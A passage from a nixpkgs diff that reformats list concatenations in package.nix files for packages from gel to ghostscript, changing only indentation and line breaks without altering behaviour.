--- a/pkgs/by-name/ge/gel/package.nix
+++ b/pkgs/by-name/ge/gel/package.nix
@@ -36,16 +36,15 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      curl
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xz
-    ];
+  buildInputs = [
+    curl
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xz
+  ];
 
   checkFeatures = [ ];
 
diff --git a/pkgs/by-name/ge/gemmi/package.nix b/pkgs/by-name/ge/gemmi/package.nix
index 3ab6d09b978c..079616f8c3ba 100644
--- a/pkgs/by-name/ge/gemmi/package.nix
+++ b/pkgs/by-name/ge/gemmi/package.nix
@@ -21,16 +21,17 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-1msV/gW6BH90rHm6t7xm0hYqbG/yGBt65GVTbKuwdtg=";
   };
 
-  nativeBuildInputs =
-    [ cmake ]
-    ++ lib.optionals enablePython (
-      with python3Packages;
-      [
-        nanobind
-        python
-        pythonImportsCheckHook
-      ]
-    );
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals enablePython (
+    with python3Packages;
+    [
+      nanobind
+      python
+      pythonImportsCheckHook
+    ]
+  );
 
   buildInputs = [ zlib ];
 
diff --git a/pkgs/by-name/ge/gemrb/package.nix b/pkgs/by-name/ge/gemrb/package.nix
index aa000df15212..c5f8fb1516bf 100644
--- a/pkgs/by-name/ge/gemrb/package.nix
+++ b/pkgs/by-name/ge/gemrb/package.nix
@@ -70,7 +70,8 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     cmake
     pkg-config
-  ] ++ lib.optionals (finalAttrs.finalPackage.doCheck or false) [ gtest ];
+  ]
+  ++ lib.optionals (finalAttrs.finalPackage.doCheck or false) [ gtest ];
 
   cmakeFlags = [
     (lib.cmakeFeature "DATA_DIR" "${placeholder "out"}/share/gemrb")
diff --git a/pkgs/by-name/ge/geoclue2/package.nix b/pkgs/by-name/ge/geoclue2/package.nix
index 0abca745cb33..f3f0d0f49d42 100644
--- a/pkgs/by-name/ge/geoclue2/package.nix
+++ b/pkgs/by-name/ge/geoclue2/package.nix
@@ -49,59 +49,56 @@ stdenv.mkDerivation (finalAttrs: {
     ./add-option-for-installation-sysconfdir.patch
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      intltool
-      meson
-      ninja
-      wrapGAppsHook3
-      python3
-      vala
-      gobject-introspection
-      # devdoc
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_412
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    intltool
+    meson
+    ninja
+    wrapGAppsHook3
+    python3
+    vala
+    gobject-introspection
+    # devdoc
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_412
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      glib
-      json-glib
-      libsoup_3
-      avahi
-    ]
-    ++ lib.optionals withDemoAgent [
-      libnotify
-      gdk-pixbuf
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      modemmanager
-    ];
+  buildInputs = [
+    glib
+    json-glib
+    libsoup_3
+    avahi
+  ]
+  ++ lib.optionals withDemoAgent [
+    libnotify
+    gdk-pixbuf
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    modemmanager
+  ];
 
   propagatedBuildInputs = [
     glib
     glib-networking
   ];
 
-  mesonFlags =
-    [
-      "-Dsystemd-system-unit-dir=${placeholder "out"}/lib/systemd/system"
-      "-Ddemo-agent=${lib.boolToString withDemoAgent}"
-      "--sysconfdir=/etc"
-      "-Dsysconfdir_install=${placeholder "out"}/etc"
-      "-Ddbus-srv-user=geoclue"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-D3g-source=false"
-      "-Dcdma-source=false"
-      "-Dmodem-gps-source=false"
-      "-Dnmea-source=false"
-    ];
+  mesonFlags = [
+    "-Dsystemd-system-unit-dir=${placeholder "out"}/lib/systemd/system"
+    "-Ddemo-agent=${lib.boolToString withDemoAgent}"
+    "--sysconfdir=/etc"
+    "-Dsysconfdir_install=${placeholder "out"}/etc"
+    "-Ddbus-srv-user=geoclue"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-D3g-source=false"
+    "-Dcdma-source=false"
+    "-Dmodem-gps-source=false"
+    "-Dnmea-source=false"
+  ];
 
   postPatch = ''
     chmod +x demo/install-file.py
diff --git a/pkgs/by-name/ge/geocode-glib_2/package.nix b/pkgs/by-name/ge/geocode-glib_2/package.nix
index 31fc68259b27..965909a322c1 100644
--- a/pkgs/by-name/ge/geocode-glib_2/package.nix
+++ b/pkgs/by-name/ge/geocode-glib_2/package.nix
@@ -37,19 +37,18 @@ stdenv.mkDerivation (finalAttrs: {
     ./installed-tests-path.patch
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gettext
-      gtk-doc
-      docbook-xsl-nons
-      gobject-introspection
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    gtk-doc
+    docbook-xsl-nons
+    gobject-introspection
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/ge/geoserver/package.nix b/pkgs/by-name/ge/geoserver/package.nix
index dd1194979e00..572a4d044149 100644
--- a/pkgs/by-name/ge/geoserver/package.nix
+++ b/pkgs/by-name/ge/geoserver/package.nix
@@ -71,15 +71,13 @@ stdenv.mkDerivation (finalAttrs: {
             buildInputs = lib.lists.unique (
               (previousAttrs.buildInputs or [ ]) ++ lib.lists.concatMap (drv: drv.buildInputs) selectedExtensions
             );
-            postInstall =
-              (previousAttrs.postInstall or "")
-              + ''
-                for extension in ${builtins.toString selectedExtensions} ; do
-                  cp -r $extension/* $out
-                  # Some files are the same for all/several extensions. We allow overwriting them again.
-                  chmod -R +w $out
-                done
-              '';
+            postInstall = (previousAttrs.postInstall or "") + ''
+              for extension in ${builtins.toString selectedExtensions} ; do
+                cp -r $extension/* $out
+                # Some files are the same for all/several extensions. We allow overwriting them again.
+                chmod -R +w $out
+              done
+            '';
           }
         );
       tests.geoserver = nixosTests.geoserver;
diff --git a/pkgs/by-name/ge/gepetto-viewer/package.nix b/pkgs/by-name/ge/gepetto-viewer/package.nix
index e9d494187ebd..f435ba8898c2 100644
--- a/pkgs/by-name/ge/gepetto-viewer/package.nix
+++ b/pkgs/by-name/ge/gepetto-viewer/package.nix
@@ -47,17 +47,16 @@ let
       libsForQt5.qtbase
     ];
 
-    nativeBuildInputs =
-      [
-        cmake
-        doxygen
-        libsForQt5.wrapQtAppsHook
-        pkg-config
-        python3Packages.python
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-        darwin.autoSignDarwinBinariesHook
-      ];
+    nativeBuildInputs = [
+      cmake
+      doxygen
+      libsForQt5.wrapQtAppsHook
+      pkg-config
+      python3Packages.python
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+      darwin.autoSignDarwinBinariesHook
+    ];
 
     propagatedBuildInputs = [
       jrl-cmakemodules
diff --git a/pkgs/by-name/ge/gerbera/package.nix b/pkgs/by-name/ge/gerbera/package.nix
index f24956165ee8..8e3bf9aba523 100644
--- a/pkgs/by-name/ge/gerbera/package.nix
+++ b/pkgs/by-name/ge/gerbera/package.nix
@@ -145,7 +145,8 @@ stdenv.mkDerivation rec {
   cmakeFlags = [
     # systemd service will be generated alongside the service
     "-DWITH_SYSTEMD=OFF"
-  ] ++ map (e: "-DWITH_${e.name}=${if e.enable then "ON" else "OFF"}") options;
+  ]
+  ++ map (e: "-DWITH_${e.name}=${if e.enable then "ON" else "OFF"}") options;
 
   nativeBuildInputs = [
     cmake
@@ -161,7 +162,8 @@ stdenv.mkDerivation rec {
     sqlite
     zlib
     fmt_11
-  ] ++ flatten (builtins.catAttrs "packages" (builtins.filter (e: e.enable) options));
+  ]
+  ++ flatten (builtins.catAttrs "packages" (builtins.filter (e: e.enable) options));
 
   passthru.tests = { inherit (nixosTests) mediatomb; };
 
diff --git a/pkgs/by-name/ge/getdns/package.nix b/pkgs/by-name/ge/getdns/package.nix
index 977933b092d0..71395863b39a 100644
--- a/pkgs/by-name/ge/getdns/package.nix
+++ b/pkgs/by-name/ge/getdns/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     libidn2
     openssl
-  ] ++ lib.optional (!enableStubOnly) unbound;
+  ]
+  ++ lib.optional (!enableStubOnly) unbound;
 
   cmakeFlags = [ (lib.strings.cmakeBool "ENABLE_STUB_ONLY" enableStubOnly) ];
 
diff --git a/pkgs/by-name/ge/getdp/package.nix b/pkgs/by-name/ge/getdp/package.nix
index 99127704968e..e911a6570942 100644
--- a/pkgs/by-name/ge/getdp/package.nix
+++ b/pkgs/by-name/ge/getdp/package.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation rec {
     blas
     lapack
     petsc
-  ] ++ lib.optional mpiSupport mpi;
+  ]
+  ++ lib.optional mpiSupport mpi;
   cmakeFlags = lib.optional mpiSupport "-DENABLE_MPI=1";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ge/getoptions/package.nix b/pkgs/by-name/ge/getoptions/package.nix
index 344658b1962a..d70a457a4af8 100644
--- a/pkgs/by-name/ge/getoptions/package.nix
+++ b/pkgs/by-name/ge/getoptions/package.nix
@@ -31,18 +31,18 @@ stdenvNoCC.mkDerivation rec {
     mksh
     yash
     zsh
-  ] ++ lib.lists.optional (!stdenvNoCC.hostPlatform.isDarwin) busybox-sandbox-shell;
+  ]
+  ++ lib.lists.optional (!stdenvNoCC.hostPlatform.isDarwin) busybox-sandbox-shell;
 
   # Disable checks against yash, since shellspec seems to be broken for yash>=2.54
   # (see: https://github.com/NixOS/nixpkgs/pull/218264#pullrequestreview-1434402054)
-  preCheck =
-    ''
-      sed -i '/shellspec -s posh/d' Makefile
-      sed -i '/shellspec -s yash/d' Makefile
-    ''
-    + lib.strings.optionalString stdenvNoCC.hostPlatform.isDarwin ''
-      sed -i "/shellspec -s 'busybox ash'/d" Makefile
-    '';
+  preCheck = ''
+    sed -i '/shellspec -s posh/d' Makefile
+    sed -i '/shellspec -s yash/d' Makefile
+  ''
+  + lib.strings.optionalString stdenvNoCC.hostPlatform.isDarwin ''
+    sed -i "/shellspec -s 'busybox ash'/d" Makefile
+  '';
 
   checkTarget = "test_in_various_shells";
 
diff --git a/pkgs/by-name/ge/gexiv2/package.nix b/pkgs/by-name/ge/gexiv2/package.nix
index 602a9332c4e1..e38d656937cd 100644
--- a/pkgs/by-name/ge/gexiv2/package.nix
+++ b/pkgs/by-name/ge/gexiv2/package.nix
@@ -32,21 +32,20 @@ stdenv.mkDerivation rec {
     sha256 = "CRPFPaq6sfGrWGr9VbtVNweW8rirzG43ZAq3cErZnOE=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gobject-introspection
-      vala
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_43
-      (python3.pythonOnBuildForHost.withPackages (ps: [ ps.pygobject3 ]))
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gobject-introspection
+    vala
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_43
+    (python3.pythonOnBuildForHost.withPackages (ps: [ ps.pygobject3 ]))
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/gf/gf/package.nix b/pkgs/by-name/gf/gf/package.nix
index ec50399ac3bc..af9744fc6cb7 100644
--- a/pkgs/by-name/gf/gf/package.nix
+++ b/pkgs/by-name/gf/gf/package.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation {
   buildInputs = [
     libX11
     gdb
-  ] ++ lib.optional freetypeSupport freetype;
+  ]
+  ++ lib.optional freetypeSupport freetype;
 
   patches = [
     ./build-use-optional-freetype-with-pkg-config.patch
diff --git a/pkgs/by-name/gf/gfan/package.nix b/pkgs/by-name/gf/gfan/package.nix
index a4b202e829da..858fb61b44ea 100644
--- a/pkgs/by-name/gf/gfan/package.nix
+++ b/pkgs/by-name/gf/gfan/package.nix
@@ -16,25 +16,24 @@ stdenv.mkDerivation rec {
     sha256 = "02pihqb1lb76a0xbfwjzs1cd6ay3ldfxsm8dvsbl6qs3vkjxax56";
   };
 
-  patches =
-    [
-      ./gfan-0.6.2-cddlib-prefix.patch
-      (fetchpatch {
-        # removes dead code with invalid member reference in gfanlib
-        name = "clang-19.patch";
-        url = "https://github.com/Singular/Singular/commit/d3f73432d73ac0dd041af83cb35301498e9b57d9.patch";
-        stripLen = 2;
-        extraPrefix = "src/";
-        hash = "sha256-jPGMYx/GOFV7Tk3CqaRWeX/UHkzjeL57eZj4r40s8/g=";
-      })
-    ]
-    ++ lib.optionals (stdenv.cc.isClang) [
-      (fetchpatch {
-        name = "clang-fix-miscompilation.patch";
-        url = "https://raw.githubusercontent.com/sagemath/sage/eea1f59394a5066e9acd8ae39a90302820914ee3/build/pkgs/gfan/patches/nodel.patch";
-        sha256 = "sha256-RrncSgFyrBIk/Bwe3accxiJ2rpOSJKQ84cV/uBvQsDc=";
-      })
-    ];
+  patches = [
+    ./gfan-0.6.2-cddlib-prefix.patch
+    (fetchpatch {
+      # removes dead code with invalid member reference in gfanlib
+      name = "clang-19.patch";
+      url = "https://github.com/Singular/Singular/commit/d3f73432d73ac0dd041af83cb35301498e9b57d9.patch";
+      stripLen = 2;
+      extraPrefix = "src/";
+      hash = "sha256-jPGMYx/GOFV7Tk3CqaRWeX/UHkzjeL57eZj4r40s8/g=";
+    })
+  ]
+  ++ lib.optionals (stdenv.cc.isClang) [
+    (fetchpatch {
+      name = "clang-fix-miscompilation.patch";
+      url = "https://raw.githubusercontent.com/sagemath/sage/eea1f59394a5066e9acd8ae39a90302820914ee3/build/pkgs/gfan/patches/nodel.patch";
+      sha256 = "sha256-RrncSgFyrBIk/Bwe3accxiJ2rpOSJKQ84cV/uBvQsDc=";
+    })
+  ];
 
   postPatch = lib.optionalString stdenv.cc.isClang ''
     substituteInPlace Makefile --replace "-fno-guess-branch-probability" ""
diff --git a/pkgs/by-name/gf/gforth/package.nix b/pkgs/by-name/gf/gforth/package.nix
index ac3834f5ad3f..28862942a62a 100644
--- a/pkgs/by-name/gf/gforth/package.nix
+++ b/pkgs/by-name/gf/gforth/package.nix
@@ -37,13 +37,12 @@ stdenv.mkDerivation rec {
 
   passthru = { inherit bootForth; };
 
-  configureFlags =
-    [
-      "--with-lispdir=${lispDir}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      "--build=x86_64-apple-darwin"
-    ];
+  configureFlags = [
+    "--with-lispdir=${lispDir}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    "--build=x86_64-apple-darwin"
+  ];
 
   preConfigure = ''
     mkdir -p ${lispDir}
diff --git a/pkgs/by-name/gf/gfxstream/package.nix b/pkgs/by-name/gf/gfxstream/package.nix
index 48de695bb91f..963885a61a94 100644
--- a/pkgs/by-name/gf/gfxstream/package.nix
+++ b/pkgs/by-name/gf/gfxstream/package.nix
@@ -52,7 +52,8 @@ stdenv.mkDerivation {
     vulkan-headers
     vulkan-loader
     xorg.libX11
-  ] ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform libdrm) [ libdrm ];
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform libdrm) [ libdrm ];
 
   env = lib.optionalAttrs stdenv.hostPlatform.isDarwin {
     NIX_LDFLAGS = toString [
diff --git a/pkgs/by-name/gg/gg-jj/package.nix b/pkgs/by-name/gg/gg-jj/package.nix
index adf3bf1f7f76..13e0f554e176 100644
--- a/pkgs/by-name/gg/gg-jj/package.nix
+++ b/pkgs/by-name/gg/gg-jj/package.nix
@@ -37,22 +37,22 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-yFDGH33maCndH4vgyMfNg0+c5jCOeoIAWUJgAPHXwsM=";
   };
 
-  nativeBuildInputs =
-    [
-      cargo-tauri.hook
-      nodejs
-      npmHooks.npmConfigHook
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    cargo-tauri.hook
+    nodejs
+    npmHooks.npmConfigHook
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wrapGAppsHook3
+  ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      webkitgtk_4_1
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    webkitgtk_4_1
+  ];
 
   env.OPENSSL_NO_VENDOR = true;
 
diff --git a/pkgs/by-name/gh/gh/package.nix b/pkgs/by-name/gh/gh/package.nix
index 3b3de01c10c9..5346150b15a7 100644
--- a/pkgs/by-name/gh/gh/package.nix
+++ b/pkgs/by-name/gh/gh/package.nix
@@ -31,22 +31,21 @@ buildGoModule rec {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-      install -Dm755 bin/gh -t $out/bin
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installManPage share/man/*/*.[1-9]
+  installPhase = ''
+    runHook preInstall
+    install -Dm755 bin/gh -t $out/bin
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installManPage share/man/*/*.[1-9]
 
-      installShellCompletion --cmd gh \
-        --bash <($out/bin/gh completion -s bash) \
-        --fish <($out/bin/gh completion -s fish) \
-        --zsh <($out/bin/gh completion -s zsh)
-    ''
-    + ''
-      runHook postInstall
-    '';
+    installShellCompletion --cmd gh \
+      --bash <($out/bin/gh completion -s bash) \
+      --fish <($out/bin/gh completion -s fish) \
+      --zsh <($out/bin/gh completion -s zsh)
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   # most tests require network access
   doCheck = false;
diff --git a/pkgs/by-name/gh/ghdl/package.nix b/pkgs/by-name/gh/ghdl/package.nix
index 10fc7f1cf713..c69c0cf14a31 100644
--- a/pkgs/by-name/gh/ghdl/package.nix
+++ b/pkgs/by-name/gh/ghdl/package.nix
@@ -32,54 +32,49 @@ stdenv.mkDerivation (finalAttrs: {
 
   LIBRARY_PATH = "${stdenv.cc.libc}/lib";
 
-  nativeBuildInputs =
-    [
-      gnat
-    ]
-    ++ lib.optionals (backend == "gcc") [
-      texinfo
-      makeWrapper
-    ];
-  buildInputs =
-    [
-      zlib
-    ]
-    ++ lib.optionals (backend == "llvm") [
-      llvm
-    ]
-    ++ lib.optionals (backend == "gcc") [
-      gmp
-      mpfr
-      libmpc
-    ];
-  propagatedBuildInputs =
-    [
-    ]
-    ++ lib.optionals (backend == "llvm" || backend == "gcc") [
-      zlib
-    ];
+  nativeBuildInputs = [
+    gnat
+  ]
+  ++ lib.optionals (backend == "gcc") [
+    texinfo
+    makeWrapper
+  ];
+  buildInputs = [
+    zlib
+  ]
+  ++ lib.optionals (backend == "llvm") [
+    llvm
+  ]
+  ++ lib.optionals (backend == "gcc") [
+    gmp
+    mpfr
+    libmpc
+  ];
+  propagatedBuildInputs = [
+  ]
+  ++ lib.optionals (backend == "llvm" || backend == "gcc") [
+    zlib
+  ];
 
-  preConfigure =
-    ''
-      # If llvm 7.0 works, 7.x releases should work too.
-      sed -i 's/check_version  7.0/check_version  7/g' configure
-    ''
-    + lib.optionalString (backend == "gcc") ''
-      ${gnutar}/bin/tar -xf ${gcc-unwrapped.src}
-    '';
+  preConfigure = ''
+    # If llvm 7.0 works, 7.x releases should work too.
+    sed -i 's/check_version  7.0/check_version  7/g' configure
+  ''
+  + lib.optionalString (backend == "gcc") ''
+    ${gnutar}/bin/tar -xf ${gcc-unwrapped.src}
+  '';
 
-  configureFlags =
-    [
-      # See https://github.com/ghdl/ghdl/pull/2058
-      "--disable-werror"
-      "--enable-synth"
-    ]
-    ++ lib.optionals (backend == "llvm") [
-      "--with-llvm-config=${llvm.dev}/bin/llvm-config"
-    ]
-    ++ lib.optionals (backend == "gcc") [
-      "--with-gcc=gcc-${gcc-unwrapped.version}"
-    ];
+  configureFlags = [
+    # See https://github.com/ghdl/ghdl/pull/2058
+    "--disable-werror"
+    "--enable-synth"
+  ]
+  ++ lib.optionals (backend == "llvm") [
+    "--with-llvm-config=${llvm.dev}/bin/llvm-config"
+  ]
+  ++ lib.optionals (backend == "gcc") [
+    "--with-gcc=gcc-${gcc-unwrapped.version}"
+  ];
 
   buildPhase = lib.optionalString (backend == "gcc") ''
     make copy-sources
@@ -111,13 +106,12 @@ stdenv.mkDerivation (finalAttrs: {
       }
   '';
 
-  hardeningDisable =
-    [
-    ]
-    ++ lib.optionals (backend == "gcc") [
-      # GCC compilation fails with format errors
-      "format"
-    ];
+  hardeningDisable = [
+  ]
+  ++ lib.optionals (backend == "gcc") [
+    # GCC compilation fails with format errors
+    "format"
+  ];
 
   enableParallelBuilding = true;
 
@@ -141,7 +135,6 @@ stdenv.mkDerivation (finalAttrs: {
       thoughtpolice
     ];
     platforms =
-      lib.platforms.linux
-      ++ lib.optionals (backend == "mcode" || backend == "llvm") [ "x86_64-darwin" ];
+      lib.platforms.linux ++ lib.optionals (backend == "mcode" || backend == "llvm") [ "x86_64-darwin" ];
   };
 })
diff --git a/pkgs/by-name/gh/ghdl/test-simple.nix b/pkgs/by-name/gh/ghdl/test-simple.nix
index 66c81977bf77..f83891172d28 100644
--- a/pkgs/by-name/gh/ghdl/test-simple.nix
+++ b/pkgs/by-name/gh/ghdl/test-simple.nix
@@ -19,25 +19,24 @@ stdenv.mkDerivation {
   name = "ghdl-test-simple";
   meta.timeout = 300;
   nativeBuildInputs = [ ghdl ];
-  buildCommand =
-    ''
-      cp ${./simple.vhd} simple.vhd
-      cp ${./simple-tb.vhd} simple-tb.vhd
-      mkdir -p ghdlwork
-      ghdl -a --workdir=ghdlwork --ieee=synopsys simple.vhd simple-tb.vhd
-      ghdl -e --workdir=ghdlwork --ieee=synopsys -o sim-simple tb
-    ''
-    + (
-      if backend == "llvm" || backend == "gcc" then
-        ''
-          ./sim-simple --assert-level=warning > output.txt
-        ''
-      else
-        ''
-          ghdl -r --workdir=ghdlwork --ieee=synopsys tb > output.txt
-        ''
-    )
-    + ''
-      diff output.txt ${./expected-output.txt} && touch $out
-    '';
+  buildCommand = ''
+    cp ${./simple.vhd} simple.vhd
+    cp ${./simple-tb.vhd} simple-tb.vhd
+    mkdir -p ghdlwork
+    ghdl -a --workdir=ghdlwork --ieee=synopsys simple.vhd simple-tb.vhd
+    ghdl -e --workdir=ghdlwork --ieee=synopsys -o sim-simple tb
+  ''
+  + (
+    if backend == "llvm" || backend == "gcc" then
+      ''
+        ./sim-simple --assert-level=warning > output.txt
+      ''
+    else
+      ''
+        ghdl -r --workdir=ghdlwork --ieee=synopsys tb > output.txt
+      ''
+  )
+  + ''
+    diff output.txt ${./expected-output.txt} && touch $out
+  '';
 }
diff --git a/pkgs/by-name/gh/ghex/package.nix b/pkgs/by-name/gh/ghex/package.nix
index 6522a6c75567..2121b6b4dec3 100644
--- a/pkgs/by-name/gh/ghex/package.nix
+++ b/pkgs/by-name/gh/ghex/package.nix
@@ -60,15 +60,14 @@ stdenv.mkDerivation (finalAttrs: {
     desktop-file-utils
   ];
 
-  mesonFlags =
-    [
-      "-Dgtk_doc=true"
-      "-Dvapi=true"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # mremap does not exist on darwin
-      "-Dmmap-buffer-backend=false"
-    ];
+  mesonFlags = [
+    "-Dgtk_doc=true"
+    "-Dvapi=true"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # mremap does not exist on darwin
+    "-Dmmap-buffer-backend=false"
+  ];
 
   postFixup = ''
     # Cannot be in postInstall, otherwise _multioutDocs hook in preFixup will move right back.
diff --git a/pkgs/by-name/gh/ghostscript/package.nix b/pkgs/by-name/gh/ghostscript/package.nix
index f663327ee3f5..9fac60a8c5f7 100644
--- a/pkgs/by-name/gh/ghostscript/package.nix
+++ b/pkgs/by-name/gh/ghostscript/package.nix
@@ -97,91 +97,88 @@ stdenv.mkDerivation rec {
     buildPackages.stdenv.cc
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      autoconf
-      zlib
-    ]
-    ++ lib.optional cupsSupport cups
-    ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  nativeBuildInputs = [
+    pkg-config
+    autoconf
+    zlib
+  ]
+  ++ lib.optional cupsSupport cups
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
-  buildInputs =
-    [
-      zlib
-      expat
-      openssl
-      libjpeg
-      libpng
-      libtiff
-      freetype
-      fontconfig
-      libpaper
-      jbig2dec
-      libiconv
-      ijs
-      lcms2
-      bash
-      openjpeg
-    ]
-    ++ lib.optionals x11Support [
-      xorg.libICE
-      xorg.libX11
-      xorg.libXext
-      xorg.libXt
-    ]
-    ++ lib.optional cupsSupport cups;
+  buildInputs = [
+    zlib
+    expat
+    openssl
+    libjpeg
+    libpng
+    libtiff
+    freetype
+    fontconfig
+    libpaper
+    jbig2dec
+    libiconv
+    ijs
+    lcms2
+    bash
+    openjpeg
+  ]
+  ++ lib.optionals x11Support [
+    xorg.libICE
+    xorg.libX11
+    xorg.libXext
+    xorg.libXt
+  ]
+  ++ lib.optional cupsSupport cups;
 
-  preConfigure =
-    ''
-      # https://ghostscript.com/doc/current/Make.htm
-      export CCAUX=$CC_FOR_BUILD
-      ${lib.optionalString cupsSupport ''export CUPSCONFIG="${cups.dev}/bin/cups-config"''}
+  preConfigure = ''
+    # https://ghostscript.com/doc/current/Make.htm
+    export CCAUX=$CC_FOR_BUILD
+    ${lib.optionalString cupsSupport ''export CUPSCONFIG="${cups.dev}/bin/cups-config"''}
 
-      rm -rf jpeg libpng zlib jasper expat tiff lcms2mt jbig2dec freetype cups/libs ijs openjpeg
+    rm -rf jpeg libpng zlib jasper expat tiff lcms2mt jbig2dec freetype cups/libs ijs openjpeg
 
-      sed "s@if ( test -f \$(INCLUDE)[^ ]* )@if ( true )@; s@INCLUDE=/usr/include@INCLUDE=/no-such-path@" -i base/unix-aux.mak
-      sed "s@^ZLIBDIR=.*@ZLIBDIR=${zlib.dev}/include@" -i configure.ac
+    sed "s@if ( test -f \$(INCLUDE)[^ ]* )@if ( true )@; s@INCLUDE=/usr/include@INCLUDE=/no-such-path@" -i base/unix-aux.mak
+    sed "s@^ZLIBDIR=.*@ZLIBDIR=${zlib.dev}/include@" -i configure.ac
 
-      # Sidestep a bug in autoconf-2.69 that sets the compiler for all checks to
-      # $CXX after the part for the vendored copy of tesseract.
-      # `--without-tesseract` is already passed to the outer ./configure, here we
-      # make sure it is also passed to its recursive invocation for buildPlatform
-      # checks when cross-compiling.
-      substituteInPlace configure.ac \
-        --replace-fail "--without-x" "--without-x --without-tesseract"
+    # Sidestep a bug in autoconf-2.69 that sets the compiler for all checks to
+    # $CXX after the part for the vendored copy of tesseract.
+    # `--without-tesseract` is already passed to the outer ./configure, here we
+    # make sure it is also passed to its recursive invocation for buildPlatform
+    # checks when cross-compiling.
+    substituteInPlace configure.ac \
+      --replace-fail "--without-x" "--without-x --without-tesseract"
 
-      autoconf
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      export DARWIN_LDFLAGS_SO_PREFIX=$out/lib/
-    '';
+    autoconf
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    export DARWIN_LDFLAGS_SO_PREFIX=$out/lib/
+  '';
 
-  configureFlags =
-    [
-      "--with-system-libtiff"
-      "--without-tesseract"
-    ]
-    ++ lib.optionals dynamicDrivers [
-      "--enable-dynamic"
-      "--disable-hidden-visibility"
-    ]
-    ++ lib.optionals x11Support [
-      "--with-x"
-    ]
-    ++ lib.optionals cupsSupport [
-      "--enable-cups"
-    ];
+  configureFlags = [
+    "--with-system-libtiff"
+    "--without-tesseract"
+  ]
+  ++ lib.optionals dynamicDrivers [
+    "--enable-dynamic"
+    "--disable-hidden-visibility"
+  ]
+  ++ lib.optionals x11Support [
+    "--with-x"
+  ]
+  ++ lib.optionals cupsSupport [
+    "--enable-cups"
+  ];
 
   # make check does nothing useful
   doCheck = false;
 
   # don't build/install statically linked bin/gs
-  buildFlags =
-    [ "so" ]
-    # without -headerpad, the following error occurs on Darwin when compiling with X11 support (as of 10.02.0)
